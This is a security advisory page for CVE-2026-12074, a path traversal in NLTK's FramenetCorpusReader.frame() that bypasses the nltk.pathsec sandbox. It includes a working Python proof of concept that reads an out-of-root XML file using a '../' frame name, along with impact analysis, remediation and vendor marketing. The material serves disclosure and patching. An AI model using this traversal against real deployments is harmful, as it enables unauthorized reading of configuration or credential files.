Summary
Natural Language Toolkit (NLTK) has path traversal in FramenetCorpusReader.frame() that allows arbitrary XML file read, bypassing the nltk.pathsec sandbox (ENFORCE=True)
FramenetCorpusReader.frame(name) interpolates a caller-supplied frame name into an XML file path that is read with the builtin open(), bypassing CorpusReader.open() and the nltk.pathsec sandbox, including strict ENFORCE=True mode. A ../ sequence in the name escapes the corpus root, yielding an arbitrary XML file read whose parsed content is returned to the caller.
Details
frame_by_name builds the path by joining the corpus root, the frame directory, and the caller-supplied name with a fixed .xml extension, with no containment check, then constructs an XMLCorpusView from that string path. Because the view is built from a string rather than a PathPointer, it reads with the builtin open(), so nltk.pathsec.validate_path() is never invoked and ENFORCE=True does not block the access. This is the same path-traversal class previously hardened for the generic corpus readers; frame_by_name never goes through CorpusReader.open(), so that protection does not apply.
The same string-path-into-XMLCorpusView pattern exists in two sibling methods that take a name from corpus data rather than the immediate caller:
doc(), uses the index entryfilenamefield- the lexical-unit file loader, uses the
lexUnitID attribute
These are reachable through a malicious or attacker-modified FrameNet corpus index.
PoC
"""
import os
import sys
import tempfile
import warnings
from pathlib import Path
warnings.filterwarnings("ignore")
# --- Turn the documented strict sandbox ON, before importing the reader. ---
import nltk.pathsec as ps
ps.ENFORCE = True
import nltk
from nltk.corpus.reader.framenet import FramenetCorpusReader, FramenetError
FRAME_XML = (
'<?xml version="1.0" encoding="UTF-8"?>\n'
'<frame xmlns="http://framenet.icsi.berkeley.edu" ID="1337" name="pwned">\n'
"<definition>SECRET-OUT-OF-ROOT-CONTENT</definition>\n"
"</frame>\n"
)
BANNER = """\
===========================================================
NLTK FramenetCorpusReader.frame() Path Traversal PoC
nltk {ver} | nltk.pathsec.ENFORCE = {enforce}
===========================================================""".format(
ver=nltk.__version__, enforce=ps.ENFORCE
)
def build_corpus():
"""Minimal valid FrameNet corpus + a frame-shaped secret OUTSIDE its root."""
base = Path(tempfile.mkdtemp(prefix="fn_poc_"))
root = base / "corpora" / "framenet"
for d in ("frame", "fulltext", "lu"):
(root / d).mkdir(parents=True)
(root / "frameIndex.xml").write_text(
'<?xml version="1.0"?><frameIndex></frameIndex>'
)
(root / "frRelation.xml").write_text(
'<?xml version="1.0"?><frameRelations></frameRelations>'
)
# A frame-shaped XML file OUTSIDE the corpus root (the "sensitive" target).
secret = base / "private"
secret.mkdir()
(secret / "secret.xml").write_text(FRAME_XML)
return base, root, secret / "secret.xml"
def main():
print(BANNER)
base, root, secret_path = build_corpus()
print(f"[*] corpus root : {root}")
print(f"[*] secret file : {secret_path} (OUTSIDE the root)\n")
fn = FramenetCorpusReader(str(root), [])
# Attacker-controlled frame name climbs out of <root>/frame/ up to <base>/private/secret.xml
evil = os.path.join("..", "..", "..", "private", "secret")
print(f"[*] calling fn.frame({evil!r})")
try:
f = fn.frame(evil)
definition = f["definition"]
if "SECRET-OUT-OF-ROOT-CONTENT" in definition:
print("\n [VULN] out-of-root file was read and returned to caller")
print(f" frame name : {evil}")
print(f" frame ID : {f['ID']} name: {f['name']}")
print(f" definition : {definition}")
print(f"\n -> nltk.pathsec sandbox bypassed despite ENFORCE = {ps.ENFORCE}")
verdict = "VULNERABLE"
else:
print(f"\n [?] frame() returned but content unexpected: {definition!r}")
verdict = "INCONCLUSIVE"
except FramenetError as e:
# Patched build (#3581): _reject_unsafe_path_component raises before open().
print(f"\n [SAFE] FramenetError: {e}")
print(" traversal rejected before any file was opened (patched)")
verdict = "NOT VULNERABLE"
except Exception as e:
print(f"\n [SAFE] {type(e).__name__}: {e}")
verdict = "NOT VULNERABLE"
# Control: a plain absent name must fail as 'Unknown frame', NOT as a read.
print("\n[CONTROL] benign absent name should be 'Unknown frame':")
try:
fn.frame("Definitely_Not_A_Frame")
print(" [?] unexpectedly succeeded")
except Exception as e:
print(f" ok -> {type(e).__name__}: {e}")
print("\n" + "=" * 59)
print(f" Result: {verdict} (ENFORCE = {ps.ENFORCE})")
print("=" * 59)
if __name__ == "__main__":
main()
Impact
- Out-of-sandbox arbitrary XML read. Any application that routes attacker-influenced input into
frame()can be made to read XML files from directories outside the intended corpus root and have their parsed content returned.frame()is a primary public API designed to accept a caller-specified frame name, so this is a natural exposure for any service exposing FrameNet lookups to user input. - Broad read primitive. Only a fixed
.xmlextension is appended; the attacker controls both directory and basename, giving "read any XML file the process can read." Full content disclosure requires frame-shaped XML; other files yield a distinguishable parse error that acts as a file-existence/readability oracle for arbitrary paths. - Silent bypass of an advertised boundary. NLTK's
SECURITY.mdpresents thenltk.pathsecsandbox andENFORCE=Trueas a hard boundary for web apps, multi-tenant pipelines, and CI/CD. Becauseframe_by_namebuilds the path itself and reads through a string-pathXMLCorpusView, the containment guard is never called andENFORCE=Truedoes not block the read, silently, with no error or warning. - Crafted-corpus reach. Via
doc()and the lexical-unit loader, a malicious FrameNet data directory drives the same traversal with no caller-supplied name. - Sensitive targets. Depending on deployment, readable out-of-root XML can include application configuration, data exports, and on-disk credentials stored as XML; the oracle behavior also allows filesystem mapping. Where
frame()output is reflected to the requester, disclosure is direct and non-blind.
Input manipulates file paths to reach files outside the intended directory, such as configuration or credential files. Typical impact: unauthorized file read or write outside the intended directory.
CVE-2026-12074 has a CVSS score of 7.5 (High). The vector is network-reachable, no privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (3.10.0); upgrading removes the vulnerable code path.
Affected versions
Security releases
Kodem intelligence
Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.
Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.
Already deployed Kodem?
See it in your environmentNew to Kodem? Get a demo →Remediation advice
Kodem Kai can prioritize this vulnerability in your dependency tree and generate a fix recommendation.
Frequently Asked Questions
- What is CVE-2026-12074? CVE-2026-12074 is a high-severity path traversal vulnerability in nltk (pip), affecting versions <= 3.9.4. It is fixed in 3.10.0. Input manipulates file paths to reach files outside the intended directory, such as configuration or credential files.
- How severe is CVE-2026-12074? CVE-2026-12074 has a CVSS score of 7.5 (High). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
- Which versions of nltk are affected by CVE-2026-12074? nltk (pip) versions <= 3.9.4 is affected.
- Is there a fix for CVE-2026-12074? Yes. CVE-2026-12074 is fixed in 3.10.0. Upgrade to this version or later.
- Is CVE-2026-12074 exploitable, and should I be worried? Whether CVE-2026-12074 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
- What actually determines whether CVE-2026-12074 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
- How do I fix CVE-2026-12074? Upgrade
nltkto 3.10.0 or later.